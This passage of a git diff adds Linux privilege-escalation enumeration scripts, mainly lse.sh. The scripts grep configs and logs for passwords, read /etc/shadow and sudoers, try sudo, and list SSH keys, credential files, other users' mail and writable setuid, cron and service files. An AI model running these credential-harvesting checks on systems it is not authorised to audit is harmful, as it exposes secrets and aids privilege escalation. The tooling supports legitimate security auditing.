"$GREEN"Searching passwords in config PHP files\n"$NC + configs=`find /var /etc /home /root /tmp /usr /opt -type f -name "*config*.php" 2>/dev/null` + for c in $configs; do grep -i "password.* = ['\"]\|define.*passw\|db_pass" $c 2>/dev/null | grep -v "function\|password.* = \"\"\|password.* = ''" | sed '/^.\{150\}./d' | sort | uniq | sed "s,password\|db_pass,${C}[1;31m&${C}[0m,i"; done + echo "" + + ##-- 22IF) IPs inside logs + printf $Y"[+] "$GREEN"Finding IPs inside logs\n"$NC + grep -R -a -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" /var/log/ 2>/dev/null | sort | uniq -c + echo "" + + ##-- 23IF) Passwords inside logs + printf $Y"[+] "$GREEN"Finding passwords inside logs (limited 100)\n"$NC + grep -R -i "pwd\|passw" /var/log/ 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | grep -v "File does not exist:\|script not found or unable to stat:\|\"GET /.*\" 404" | head -n 100 | sed "s,pwd\|passw,${C}[1;31m&${C}[0m," + echo "" + + ##-- 24IF) Emails inside logs + printf $Y"[+] "$GREEN"Finding emails inside logs (limited 100)\n"$NC + grep -R -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" /var/log/ 2>/dev/null | sort | uniq -c | head -n 100 + echo "" + + ##-- 25IF) Passwords files in home + printf $Y"[+] "$GREEN"Finding *password* or *credential* files in home\n"$NC + (find /home /root -type f \( -name "*password*" -o -name "*credential*" \) 2>/dev/null | sed "s,password\|credential,${C}[1;31m&${C}[0m,") || echo_not_found + + if ! [ "$SUPERFAST" ]; then + ##-- 26IF) Passwords inside files + printf $Y"[+] "$GREEN"Finding 'pwd' or 'passw' string inside /home, /var/www, /etc, /root and list possible web(/var/www) and config(/etc) passwords\n"$NC + grep -lRi "pwd\|passw" /home /var/www /root 2>/dev/null | sort | uniq + grep -R -i "password.* = ['\"]\|define.*passw" /var/www /root /home 2>/dev/null | grep "\.php" | grep -v "function\|password.* = \"\"\|password.* = ''" | sed '/^.\{150\}./d' | sort | uniq | sed "s,password,${C}[1;31m&${C}[0m," + grep -R -i "password" /etc 2>/dev/null | grep "conf" | grep -v ":#\|:/\*\|: \*" | sort | uniq | sed "s,password,${C}[1;31m&${C}[0m," + echo "" + fi +fi diff --git a/lse.sh b/lse.sh new file mode 100755 index 0000000..789617c --- /dev/null +++ b/lse.sh @@ -0,0 +1,1109 @@ +#!/bin/bash +# vim: set ts=2 sw=2 sts=2 et: + +# Author: Diego Blanco +# GitHub: https://github.com/diego-treitos/linux-smart-enumeration +# +lse_version="1.11" + +#( Colors +# +# fg +red='\e[31m' +lred='\e[91m' +green='\e[32m' +lgreen='\e[92m' +yellow='\e[33m' +lyellow='\e[93m' +blue='\e[34m' +lblue='\e[94m' +magenta='\e[35m' +lmagenta='\e[95m' +cyan='\e[36m' +lcyan='\e[96m' +grey='\e[90m' +lgrey='\e[37m' +white='\e[97m' +black='\e[30m' +# +# bg +b_red='\e[41m' +b_lred='\e[101m' +b_green='\e[42m' +b_lgreen='\e[102m' +b_yellow='\e[43m' +b_lyellow='\e[103m' +b_blue='\e[44m' +b_lblue='\e[104m' +b_magenta='\e[45m' +b_lmagenta='\e[105m' +b_cyan='\e[46m' +b_lcyan='\e[106m' +b_grey='\e[100m' +b_lgrey='\e[47m' +b_white='\e[107m' +b_black='\e[40m' +# +# special +reset='\e[0;0m' +bold='\e[01m' +italic='\e[03m' +underline='\e[04m' +inverse='\e[07m' +conceil='\e[08m' +crossedout='\e[09m' +bold_off='\e[22m' +italic_off='\e[23m' +underline_off='\e[24m' +inverse_off='\e[27m' +conceil_off='\e[28m' +crossedout_off='\e[29m' +#) + +#( Globals +# +# user +lse_user_id="$UID" +[ -z "$lse_user_id" ] && lse_user_id="`id -u`" +lse_user="$USER" +[ -z "$lse_user" ] && lse_user="`id -nu`" +lse_pass="" +lse_home="$HOME" +[ -z "$lse_home" ] && lse_home="`(grep -E "^$lse_user:" /etc/passwd | cut -d: -f6)2>/dev/null`" + +# system +lse_arch="`uname -m`" +lse_linux="`uname -r`" +lse_hostname="`hostname`" +lse_distro=`command -v lsb_release >/dev/null 2>&1 && lsb_release -d | sed 's/Description:\s*//' 2>/dev/null` +[ -z "$lse_distro" ] && lse_distro="`(source /etc/os-release && echo "$PRETTY_NAME")2>/dev/null`" + +# lse +lse_passed_tests="" +lse_executed_tests="" +lse_DEBUG=false + +# internal data +lse_common_setuid=( + '/bin/fusermount' + '/bin/mount' + '/bin/ntfs-3g' + '/bin/ping' + '/bin/ping6' + '/bin/su' + '/bin/umount' + '/lib64/dbus-1/dbus-daemon-launch-helper' + '/sbin/mount.ecryptfs_private' + '/sbin/mount.nfs' + '/sbin/pam_timestamp_check' + '/sbin/pccardctl' + '/sbin/unix2_chkpwd' + '/sbin/unix_chkpwd' + '/usr/bin/Xorg' + '/usr/bin/arping' + '/usr/bin/at' + '/usr/bin/beep' + '/usr/bin/chage' + '/usr/bin/chfn' + '/usr/bin/chsh' + '/usr/bin/crontab' + '/usr/bin/expiry' + '/usr/bin/firejail' + '/usr/bin/fusermount' + '/usr/bin/fusermount-glusterfs' + '/usr/bin/gpasswd' + '/usr/bin/kismet_capture' + '/usr/bin/mount' + '/usr/bin/mtr' + '/usr/bin/newgidmap' + '/usr/bin/newgrp' + '/usr/bin/newuidmap' + '/usr/bin/passwd' + '/usr/bin/pkexec' + '/usr/bin/procmail' + '/usr/bin/staprun' + '/usr/bin/su' + '/usr/bin/sudo' + '/usr/bin/sudoedit' + '/usr/bin/traceroute6.iputils' + '/usr/bin/umount' + '/usr/bin/weston-launch' + '/usr/lib/chromium-browser/chrome-sandbox' + '/usr/lib/dbus-1.0/dbus-daemon-launch-helper' + '/usr/lib/dbus-1/dbus-daemon-launch-helper' + '/usr/lib/eject/dmcrypt-get-device' + '/usr/lib/openssh/ssh-keysign' + '/usr/lib/policykit-1/polkit-agent-helper-1' + '/usr/lib/polkit-1/polkit-agent-helper-1' + '/usr/lib/pt_chown' + '/usr/lib/snapd/snap-confine' + '/usr/lib/spice-gtk/spice-client-glib-usb-acl-helper' + '/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic' + '/usr/lib/xorg/Xorg.wrap' + '/usr/libexec/Xorg.wrap' + '/usr/libexec/abrt-action-install-debuginfo-to-abrt-cache' + '/usr/libexec/dbus-1/dbus-daemon-launch-helper' + '/usr/libexec/gstreamer-1.0/gst-ptp-helper' + '/usr/libexec/openssh/ssh-keysign' + '/usr/libexec/polkit-1/polkit-agent-helper-1' + '/usr/libexec/pt_chown' + '/usr/libexec/qemu-bridge-helper' + '/usr/libexec/spice-gtk-x86_64/spice-client-glib-usb-acl-helper' + '/usr/sbin/exim4' + '/usr/sbin/grub2-set-bootflag' + '/usr/sbin/mount.nfs' + '/usr/sbin/mtr-packet' + '/usr/sbin/pam_timestamp_check' + '/usr/sbin/pppd' + '/usr/sbin/pppoe-wrapper' + '/usr/sbin/suexec' + '/usr/sbin/unix_chkpwd' + '/usr/sbin/userhelper' + '/usr/sbin/usernetctl' + '/usr/sbin/uuidd' +) +#regex rules for common setuid +lse_common_setuid+=( + '/snap/core/.*' + '/var/tmp/mkinitramfs.*' +) +#critical writable files +lse_critical_writable=( + '/etc/apache2/apache2.conf' + '/etc/apache2/httpd.conf' + '/etc/hosts.allow' + '/etc/hosts.deny' + '/etc/httpd/conf/httpd.conf' + '/etc/httpd/httpd.conf' + '/etc/incron.conf' + '/etc/incron.d/*' + '/etc/passwd' + '/etc/php*/fpm/pool.d/*' + '/etc/php/*/fpm/pool.d/*' + '/etc/shadow' + '/etc/sudoers' + '/etc/supervisor/conf.d/*' + '/etc/supervisor/supervisord.conf' + '/etc/uwsgi/apps-enabled/*' + '/root/.ssh/authorized_keys' +) +#) + +#( Options +lse_color=true +lse_interactive=true +lse_level=0 #Valid levels 0:default, 1:interesting, 2:all +lse_selection="" #Selected tests to run. Empty means all. +#) + +#( Lib +cecho() { + if $lse_color; then + printf "$@" + else + # If color is disabled we remove it + printf "$@" | sed 's/\x1B\[[0-9;]\+[A-Za-z]//g' + fi +} +lse_error() { + cecho "${red}ERROR: ${reset}$*\n" >&2 +} +lse_set_level() { + case "$1" in + 0|1|2) + lse_level=$(($1)) + ;; + *) + lse_error "Invalid level." + exit 1 + ;; + esac +} +lse_help() { + echo "Use: $0 [options]" + echo + echo " OPTIONS" + echo " -c Disable color" + echo " -i Non interactive mode" + echo " -h This help" + echo " -l LEVEL Output verbosity level" + echo " 0: Show highly important results. (default)" + echo " 1: Show interesting results." + echo " 2: Show all gathered information." + echo " -s SELECTION Comma separated list of sections or tests to run. Available" + echo " sections:" + echo " usr: User related tests." + echo " sud: Sudo related tests." + echo " fst: File system related tests." + echo " sys: System related tests." + echo " sec: Security measures related tests." + echo " ret: Recurren tasks (cron, timers) related tests." + echo " net: Network related tests." + echo " srv: Services related tests." + echo " pro: Processes related tests." + echo " sof: Software related tests." + echo " ctn: Container (docker, lxc) related tests." + echo " Specific tests can be used with their IDs (i.e.: usr020,sud)" +} +lse_ask() { + local question="$1" + # We use stderr to print the question + cecho "${white}${question}: ${reset}" >&2 + read answer + case answer in + y|Y|yes|Yes|ok|Ok|true|True) + return 0 + ;; + *) + echo "$answer" + return 1 + ;; + esac +} +lse_request_information() { + if $lse_interactive; then + cecho "${grey}---\n" + [ -z "$lse_user" ] && lse_user=`lse_ask "Could not find current user name. Current user?"` + lse_pass=`lse_ask "If you know the current user password, write it here for better results"` + cecho "${grey}---\n" + fi +} +lse_test_passed() { + # Checks if a test passed by ID + local id="$1" + for i in $lse_passed_tests; do + [ "$i" == "$id" ] && return 0 + done + return 1 +} +lse_test() { + # Test id + local id="$1" + # Minimum level required for this test to show its output + local level=$(($2)) + # Name of the current test + local name="$3" + # Output of the test + local cmd="$4" + # Dependencies + local deps="$5" + # Variable name where to store the output + local var="$6" + + # Define colors + local l="${lred}!" + local r="${lgreen}" + [ $level -eq 1 ] && l="${lyellow}*" && r="${cyan}" + [ $level -eq 2 ] && l="${lblue}i" && r="${blue}" + + # Filter selected tests + if [ "$lse_selection" ]; then + local sel_match=false + for s in $lse_selection; do + if [ "$s" == "$id" ] || [ "$s" == "${id:0:3}" ]; then + sel_match=true + fi + done + $sel_match || return 0 + fi + + # DEBUG messages + $lse_DEBUG && cecho "${lmagenta}DEBUG: ${lgreen}Executing: ${reset}$cmd\n" + + # Print name and line + cecho "${white}[${l}${white}] ${grey}${id}${white} $name${grey}" + for i in $(seq $((${#name}+4)) 67); do + echo -n "." + done + + # Check dependencies + local non_met_deps="" + for d in $deps; do + lse_test_passed "$d" || non_met_deps+="$d" + done + if [ "$non_met_deps" ]; then + cecho " ${grey}skip\n" + # In "selection mode" we print the missed dependencies + if [ "$lse_selection" ]; then + cecho "${red}---\n" + cecho "Dependencies not met:$reset $non_met_deps\n" + cecho "${red}---$reset\n" + fi + return 1 + fi + + # If level is 2 we do not execute level 2 tests unless their output needs + # to be assigned to a variable + if [ $level -ge 2 ] && [ $lse_level -lt 2 ] && [ -z "$var" ]; then + cecho " ${grey}skip\n" + return 1 + else + if $lse_DEBUG; then + output="`eval "$cmd" 2>&1`" + else + # Execute comand + output="`eval "$cmd" 2>/dev/null`" + # Assign variable if available + fi + [ "$var" ] && eval "$var='$output'" + # Mark test as executed + lse_executed_tests+=" $id" + fi + + if [ -z "$output" ]; then + cecho "${grey} nope${reset}\n" + return 1 + else + lse_passed_tests+=" $id" + cecho "${r} yes!${reset}\n" + if [ $lse_level -ge $level ]; then + cecho "${grey}---$reset\n" + echo "$output" + cecho "${grey}---$reset\n" + fi + return 0 + fi +} +lse_show_info() { + echo + cecho "${lblue} User:${reset} $lse_user\n" + cecho "${lblue} User ID:${reset} $lse_user_id\n" + cecho "${lblue} Password:${reset} " + if [ -z "$lse_pass" ]; then + cecho "${grey}none${reset}\n" + else + cecho "******\n" + fi + cecho "${lblue} Home:${reset} $lse_home\n" + cecho "${lblue} Path:${reset} $PATH\n" + cecho "${lblue} umask:${reset} `umask 2>/dev/null`\n" + + echo + cecho "${lblue} Hostname:${reset} $lse_hostname\n" + cecho "${lblue} Linux:${reset} $lse_linux\n" + if [ "$lse_distro" ]; then + cecho "${lblue}Distribution:${reset} $lse_distro\n" + fi + cecho "${lblue}Architecture:${reset} $lse_arch\n" + echo +} +lse_header() { + local id="$1" + shift + local title="$*" + local text="${magenta}" + + # Filter selected tests + if [ "$lse_selection" ]; then + local sel_match=false + for s in $lse_selection; do + if [ "${s:0:3}" == "$id" ]; then + sel_match=true + break + fi + done + $sel_match || return 0 + fi + + for i in $(seq ${#title} 70); do + text+="=" + done + text+="(${green} $title ${magenta})=====" + cecho "$text${reset}\n" +} +lse_exit() { + local ec=1 + local text="\n${magenta}==================================" + [ "$1" ] && ec=$1 + text+="(${green} FINISHED ${magenta})==================================" + cecho "$text${reset}\n" + exit $ec +} +#) + +########################################################################( TESTS +# +# A successful test will receive some output while a failed tests will receive +# an empty string. +# +########################################################################( users +lse_run_tests_users() { + lse_header "usr" "users" + + #user groups + lse_test "usr000" "2" \ + "Current user groups" \ + 'groups' \ + "" \ + "lse_user_groups" + + #user in an administrative group + lse_test "usr010" "1" \ + "Is current user in an administrative group?" \ + 'grep -E "^(adm|admin|root|sudo|wheel)" /etc/group | grep -E "(:|,)$lse_user"' + + #other users in an administrative group + lse_test "usr020" "1" \ + "Are there other users in an administrative groups?" \ + 'grep -E "^(adm|admin|root|sudo|wheel)" /etc/group | grep -Ev ":$"' + + #other users with shell + lse_test "usr030" "1" \ + "Other users with shell" \ + 'grep -E "sh$" /etc/passwd' + + #user env information + lse_test "usr040" "2" \ + "Environment information" \ + 'env | grep -v "LS_COLORS"' + + #dump user groups + lse_test "usr050" "2" \ + "Groups for other users" \ + 'cat /etc/group' + + #dump users + lse_test "usr060" "2" \ + "Other users" \ + 'cat /etc/passwd' +} + + +#########################################################################( sudo +lse_run_tests_sudo() { + lse_header "sud" "sudo" + + #variables for sudo checks + lse_sudo=false + lse_sudo_commands="" + + #can we sudo without supplying a password + lse_test "sud000" "0" \ + "Can we sudo without a password?" \ + 'echo "" | sudo -S id' && lse_sudo=true + + #can we list sudo commands without supplying a password + $lse_sudo || \ + lse_test "sud010" "0" \ + "Can we list sudo commands without a password?" \ + 'echo "" | sudo -S -l' \ + "" \ + "lse_sudo_commands" + + if [ "$lse_pass" ]; then + #can we sudo supplying a password + $lse_sudo || \ + lse_test "sud020" "0" \ + "Can we sudo with a password?" \ + 'echo "$lse_pass" | sudo -S id' && lse_sudo=true + + #can we list sudo commands without supplying a password + if ! $lse_sudo && [ -z "$lse_sudo_commands" ]; then + lse_test "sud030" "0" \ + "Can we list sudo commands with a password?" \ + 'echo "$lse_pass" | sudo -S -l' \ + "" \ + "lse_sudo_commands" + fi + fi + + #check if we can read the sudoers file + lse_test "sud040" "1" \ + "Can we read /etc/sudoers?" \ + 'cat /etc/sudoers' + + #check users that sudoed in the past + lse_test "sud050" "1" \ + "Do we know if any other users used sudo?" \ + 'for uh in $(cut -d: -f1,6 /etc/passwd); do [ -f "${uh##*:}/.sudo_as_admin_successful" ] && echo "${uh%%:*}"; done' +} + + +##################################################################( file system +lse_run_tests_filesystem() { + lse_header "fst" "file system" + + #writable files outside user's home. NOTE: Does not check if user can write in symlink destination (performance reasons: -L implies -noleaf) + lse_test "fst000" "1" \ + "Writable files outside user's home" \ + 'find / \! -type l -writable -not -path "$lse_home/*" -not -path "/proc/*" -not -path "/sys/*" -not -path "/dev/*" -not -path "/run/*"; + # Add symlinks owned by the user (so the user can change where they point) + find / -type l -user $lse_user -not -path "$lse_home/*" -not -path "/proc/*" -not -path "/sys/*" -not -path "/dev/*" -not -path "/run/*"' \ + "" \ + "lse_user_writable" + + #get setuid binaries + lse_test "fst010" "1" \ + "Binaries with setuid bit" \ + 'find / -perm -4000 -type f' \ + "" \ + "lse_setuid_binaries" + + #uncommon setuid binaries + lse_test "fst020" "0" \ + "Uncommon setuid binaries" \ + 'local setuidbin="$lse_setuid_binaries"; for cs in "${lse_common_setuid[@]}"; do setuidbin=`echo -e "$setuidbin" | grep -Ev "$cs"`;done ; echo -e "$setuidbin"' \ + "fst010" + + #can we write to any setuid binary + lse_test "fst030" "0" \ + "Can we write to any setuid binary?" \ + 'for b in $lse_setuid_binaries; do [ -x "$b" ] && [ -w "$b" ] && echo "$b" ;done' \ + "fst010" + + #get setgid binaries + lse_test "fst040" "1" \ + "Binaries with setgid bit" \ + 'find / -perm -2000 -type f' \ + "lse_setgid_binaries" + + #uncommon setgid binaries + lse_test "fst050" "0" \ + "Uncommon setgid binaries" \ + 'echo -e "$lse_setgid_binaries" | grep -Ev "^/(bin|sbin|usr/bin|usr/lib|usr/sbin)"' \ + "fst040" + + #can we write to any setgid binary + lse_test "fst060" "0" \ + "Can we write to any setgid binary?" \ + 'for b in $lse_setgid_binaries; do [ -x "$b" ] && [ -w "$b" ] && echo "$b" ;done' \ + "fst040" + + #can we read /root + lse_test "fst070" "1" \ + "Can we read /root?" \ + 'ls -ahl /root/' + + #check /home permissions + lse_test "fst080" "1" \ + "Can we read subdirectories under /home?" \ + 'for h in /home/*; do [ -d "$h" ] && [ "$h" != "$lse_home" ] && ls -la "$h/"; done' + + #check for SSH files in home directories + lse_test "fst090" "1" \ + "SSH files in home directories" \ + 'for h in $(cut -d: -f6 /etc/passwd | sort | uniq | grep -Ev "^(/|/dev|/bin|/proc|/run/.*|/var/run/.*)$"); do find "$h" \( -name "*id_dsa*" -o -name "*id_rsa*" -o -name "*id_ecdsa*" -o -name "*id_ed25519*" -o -name "known_hosts" -o -name "authorized_hosts" -o -name "authorized_keys" \) -exec ls -la {} \; ; done' + + #check useful binaries + lse_test "fst100" "1" \ + "Useful binaries" \ + 'which curl; which dig; which gcc; which nc.openbsd; which nc; which netcat; which nmap; which socat; which wget' + + #check for interesting files in home directories + lse_test "fst110" "1" \ + "Other interesting files in home directories" \ + 'for h in $(cut -d: -f6 /etc/passwd); do find "$h" \( -name "*.rhosts" -o -name ".git-credentials" -o -name ".*history" \) -maxdepth 1 -exec ls -la {} \; ;' + + #looking for credentials in /etc/fstab and /etc/mtab + lse_test "fst120" "0" \ + "Are there any credentials in fstab/mtab?" \ + 'grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab' + + #check if current user has mail + lse_test "fst130" "1" \ + "Does '$lse_user' have mail?" \ + 'ls -l "/var/mail/$lse_user"' + + #check if we can access other users mail mail + lse_test "fst140" "0" \ + "Can we access other users mail?" \ + 'for f in /var/mail/*; do [ "$f" != "/var/mail/$lse_user" ] && [ -r "$f" ] && echo "$f"; done' + + #check for code repositories + lse_test "fst150" "1" \ + "Looking for GIT/SVN repositories" \ + 'find / \( -name ".git" -o -name ".svn" \)' + + #can we write to files that can give us root + lse_test "fst160" "0" \ + "Can we write to critical files?" \ + 'for uw in $lse_user_writable; do [ -f "$uw" ] && for cw in "${lse_critical_writable[@]}"; do ls $cw 2>/dev/null | egrep "^$uw$"; done ; done' \ + "fst000" + + #files owned by user + lse_test "fst500" "2" \ + "Files owned by user '$lse_user'" \ + 'find / -user $lse_user -type f ! -path "/proc/*" ! -path "/sys/*" -exec ls -al {} \;' + + #check for SSH files anywhere + lse_test "fst510" "2" \ + "SSH files anywhere" \ + 'find / \( -name "*id_dsa*" -o -name "*id_rsa*" -o -name "known_hosts" -o -name "authorized_hosts" -o -name "authorized_keys" \) -exec ls -la {} \;' + + #dump hosts.equiv file + lse_test "fst520" "2" \ + "Check hosts.equiv file and its contents" \ + 'find /etc -iname hosts.equiv -exec ls -la {} 2>/dev/null \; -exec cat {} \;' + + #list nfs shares + lse_test "fst530" "2" \ + "List NFS server shares" \ + 'ls -la /etc/exports; cat /etc/exports' + + #dump fstab + lse_test "fst540" "2" \ + "Dump fstab file" \ + 'cat /etc/fstab' +} + + +#######################################################################( system +lse_run_tests_system() { + lse_header "sys" "system" + + #who is logged in + lse_test "sys000" "2" \ + "Who is logged in" \ + 'w' + + #last logged in users + lse_test "sys010" "2" \ + "Last logged in users" \ + 'last' + + #check if /etc/passwd has the hashes (old system) + lse_test "sys020" "0" \ + "Does the /etc/passwd have hashes?" \ + 'grep -v "^[^:]*:[x]" /etc/passwd' + + #check if we can read any shadow file + for s in 'shadow' 'shadow-' 'shadow~' 'master.passwd'; do + lse_test "sys030" "0" \ + "Can we read /etc/$s file?" \ + 'cat /etc/$s' + done + + #check for superuser accounts + lse_test "sys040" "1" \ + "Check for other superuser accounts" \ + 'for u in $(cut -d: -f1 /etc/passwd); do [ $(id -u $u) == 0 ] && echo $u; done | grep -v root' + + #can root log in via SSH + lse_test "sys050" "1" \ + "Can root user log in via SSH?" \ + 'grep -E "^[[:space:]]*PermitRootLogin " /etc/ssh/sshd_config | grep -E "(yes|without-password)"' + + #list available shells + lse_test "sys060" "2" \ + "List available shells" \ + 'cat /etc/shells' + + #system umask + lse_test "sys070" "2" \ + "System umask in /etc/login.defs" \ + 'grep "^UMASK" /etc/login.defs' + + #system password policies + lse_test "sys080" "2" \ + "System password policies in /etc/login.defs" \ + 'grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs' +} + + +#####################################################################( security +lse_run_tests_security() { + lse_header "sec" "security" + + #check if selinux is present + lse_test "sec000" "1" \ + "Is SELinux present?" \ + 'sestatus' + + #get all binaries with capabilities + lse_test "sec010" "1" \ + "List files with capabilities" \ + 'getcap -r /' \ + "" \ + "lse_cap_bin" + + #check if we can write an a binary with capabilities + lse_test "sec020" "0" \ + "Can we write to a binary with caps?" \ + 'for b in $(echo -e "$lse_cap_bin" | cut -d" " -f1); do [ -w "$b" ] && echo "$b"; done' + + #check if we have all capabilities in any binary + lse_test "sec030" "0" \ + "Do we have all caps in any binary?" \ + 'echo -e "$lse_cap_bin" | grep -v "cap_"' + + #search /etc/security/capability.conf for users associated capapilies + lse_test "sec040" "1" \ + "Users with associated capabilities" \ + 'grep -v "^#\|none\|^$" /etc/security/capability.conf' \ + "" \ + "lse_user_caps" + + #does user have capabilities + lse_test "sec050" "0" \ + "Does current user have capabilities?" \ + 'echo -e "$lse_user_caps" | grep "$lse_user"' \ + "sec040" +} + + +##############################################################( recurrent tasks +lse_run_tests_recurrent_tasks() { + lse_header "ret" "recurrent tasks" + + ## CRON + #user crontab + lse_test "ret000" "1" \ + "User crontab" \ + 'crontab -l | grep -Ev "^#"' + + #cron tasks writable by user + lse_test "ret010" "0" \ + "Cron tasks writable by user" \ + 'find -L /etc/cron* /etc/anacron /var/spool/cron -writable' \ + + #list cron jobs + lse_test "ret020" "1" \ + "Cron jobs" \ + 'grep -ERv "^(#|$)" /etc/crontab /etc/cron.d/ /etc/anacrontab' + + #can we read other user crontabs? + lse_test "ret030" "1" \ + "Can we read user crontabs" \ + 'ls -la /var/spool/cron/crontabs/*' + + #can we list other user cron tasks? (you need privileges for this, so if you can something is fishy) + lse_test "ret040" "1" \ + "Can we list other user cron tasks?" \ + 'for u in $(cut -d: -f 1 /etc/passwd); do [ "$u" != "$lse_user" ] && crontab -l -u "$u"; done' + + #can we write to executable paths present in cron tasks? + lse_test "ret050" "0" \ + "Can we write to executable paths present in cron jobs" \ + 'for uw in $lse_user_writable; do [ -f "$uw" ] && [ -x "$uw" ] && grep -R "$uw" /etc/crontab /etc/cron.d/ /etc/anacrontab ; done' \ + "fst000" + + #can we write to any paths present in cron tasks? + lse_test "ret060" "1" \ + "Can we write to any paths present in cron jobs" \ + 'for uw in $lse_user_writable; do grep -R "$uw" /etc/crontab /etc/cron.d/ /etc/anacrontab ; done | sort | uniq' \ + "fst000" + + #list cron files + lse_test "ret400" "2" \ + "Cron files" \ + 'ls -la /etc/cron*' + + + ## Systemd Timers + #user timers + lse_test "ret500" "1" \ + "User systemd timers" \ + 'systemctl --user list-timers --all | grep -Ev "(^$|timers listed)"' + + #can we write in any system timer? + lse_test "ret510" "0" \ + "Can we write in any system timer?" \ + 'echo -e "$lse_user_writable" | grep -E "\.timer$"' \ + "fst000" + + #system timers + lse_test "ret900" "2" \ + "Systemd timers" \ + 'systemctl list-timers --all' +} + + +######################################################################( network +lse_run_tests_network() { + lse_header "net" "network" + + #services listening only on localhost + lse_test "net000" "1" \ + "Services listening only on localhost" \ + '(ss -tunlp || netstat -tunlp)2>/dev/null | grep "127.0.0.1:"' + + #can we execute tcpdump + lse_test "net010" "0" \ + "Can we sniff traffic with tcpdump?" \ + '(tcpdump -i lo -n 2>&1 & pid=$!;sleep 0.2;kill $pid)2>/dev/null | grep -i "listening on lo"' + + #nic information + lse_test "net500" "2" \ + "NIC and IP information" \ + 'ifconfig -a || ip a' + + #routing table + lse_test "net510" "2" \ + "Routing table" \ + 'route -n || ip r' + + #arp table + lse_test "net520" "2" \ + "ARP table" \ + 'arp -an || ip n' + + #nameservers + lse_test "net530" "2" \ + "Namerservers" \ + 'grep "nameserver" /etc/resolv.conf' + + #systemd nameservers + lse_test "net540" "2" \ + "Systemd Nameservers" \ + 'systemd-resolve --status || systemd-resolve --user --status' + + #listening TCP + lse_test "net550" "2" \ + "Listening TCP" \ + 'netstat -tnlp || ss -tnlp' + + #listening UDP + lse_test "net560" "2" \ + "Listening UDP" \ + 'netstat -unlp || ss -unlp' +} + + +#####################################################################( services +lse_run_tests_services() { + lse_header "srv" "services" + + ## System-V + #check write permissions in init.d/* inetd.conf xinetd.conf + lse_test "srv000" "0" \ + "Can we write in service files?" \ + 'echo -e "$lse_user_writable" | grep -E "^/etc/(init/|init\.d/|rc\.d/|rc[0-9S]\.d/|rc\.local|inetd\.conf|xinetd\.conf|xinetd\.d/)"' \ + "fst000" + + #check write permissions for binaries involved in services + lse_test "srv010" "0" \ + "Can we write in binaries executed by services?" \ + 'for b in $(grep -ERvh "^#" /etc/inetd.conf /etc/xinetd.conf /etc/xinetd.d/ /etc/init.d/ /etc/rc* 2>/dev/null | tr -s "[[:space:]]" "\n" | grep -E "^/" | grep -Ev "^/(dev|run|sys|proc|tmp)/" | sort | uniq); do [ -x "$b" ] && [ -w "$b" ] && echo "$b" done' + + #init.d files NOT belonging to root + lse_test "srv020" "1" \ + "Files in /etc/init.d/ not belonging to root" \ + 'find /etc/init.d/ \! -uid 0 -type f | xargs -r ls -la' + + #rc.d/init.d files NOT belonging to root! + lse_test "srv030" "1" \ + "Files in /etc/rc.d/init.d not belonging to root" \ + 'find /etc/rc.d/init.d \! -uid 0 -type f | xargs -r ls -la' + + # upstart scripts not belonging to root + lse_test "srv040" "1" \ + "Upstart files not belonging to root" \ + 'find /etc/init \! -uid 0 -type f | xargs -r ls -la' + + #/usr/local/etc/rc.d files NOT belonging to root! + lse_test "srv050" "1" \ + "Files in /usr/local/etc/rc.d not belonging to root" \ + 'find /usr/local/etc/rc.d \! -uid 0 -type f | xargs -r ls -la' + + #contents of inetd.conf + lse_test "srv400" "2" \ + "Contents of /etc/inetd.conf" \ + 'cat /etc/inetd.conf' + + #xinetd info + lse_test "srv410" "2" \ + "Contents of /etc/xinetd.conf" \ + 'cat /etc/xinetd.conf' + + #check xinetd.d and permissions + lse_test "srv420" "2" \ + "List /etc/xinetd.d if used" \ + 'grep "/etc/xinetd.d" /etc/xinetd.conf ; ls -la /etc/xinetd.d' + + #permissions of init.d scripts + lse_test "srv430" "2" \ + "List /etc/init.d/ permissions" \ + 'ls -la /etc/init.d' + + #rc.d/init.d permissions + lse_test "srv440" "2" \ + "List /etc/rc.d/init.d permissions" \ + 'ls -la /etc/rc.d/init.d' + + #usr/rc.d permissions + lse_test "srv450" "2" \ + "List /usr/local/etc/rc.d permissions" \ + 'ls -la /usr/local/etc/rc.d' + + # init permissions + lse_test "srv460" "2" \ + "List /etc/init/ permissions" \ + 'ls -la /etc/init/' + + ## Systemd + #check write permissions in systemd services + lse_test "srv500" "0" \ + "Can we write in systemd service files?" \ + 'echo -e "$lse_user_writable" | grep -E "^/(etc/systemd/|lib/systemd/).+\.service$"' \ + "fst000" + + #check write permissions for binaries involved in systemd services + lse_test "srv510" "0" \ + "Can we write in binaries executed by systemd services?" \ + 'for b in $(grep -ERh "^Exec" /etc/systemd/ /lib/systemd/ 2>/dev/null | tr "=" "\n" | tr -s "[[:space:]]" "\n" | grep -E "^/" | grep -Ev "^/(dev|run|sys|proc|tmp)/" | sort | uniq); do [ -x "$b" ] && [ -w "$b" ] && echo "$b" done' + + # systemd files not belonging to root + lse_test "srv520" "1" \ + "Systemd files not belonging to root" \ + 'find /lib/systemd/ /etc/systemd \! -uid 0 -type f | xargs -r ls -la' + + # systemd permissions + lse_test "srv900" "2" \ + "Systemd config files permissions" \ + 'ls -lthR /lib/systemd/ /etc/systemd/' +} + + +####################################################################( processes +lse_run_tests_processes() { + lse_header "pro" "processes" + + #lookup process binaries + lse_proc_bin=`(ps -eo comm | sort | uniq | xargs which)2>/dev/null` + + #check if we have wire permissions in any process binary + lse_test "pro000" "0" \ + "Can we write in any process binary?" \ + 'for b in $lse_proc_bin; do [ -w "$b" ] && echo $b; done' + + lse_test "pro010" "1" \ + "Processes running with root permissions" \ + 'ps -u root -U root -f | grep -Ev "\[[[:alnum:]]"' + + #running processes + lse_test "pro500" "2" \ + "Running processes" \ + 'ps auxf' + + #list running process binaries and their permissions + lse_test "pro510" "2" \ + "Running process binaries and permissions" \ + 'echo -e "$lse_proc_bin" | xargs -n1 ls -l' +} + + +#####################################################################( software 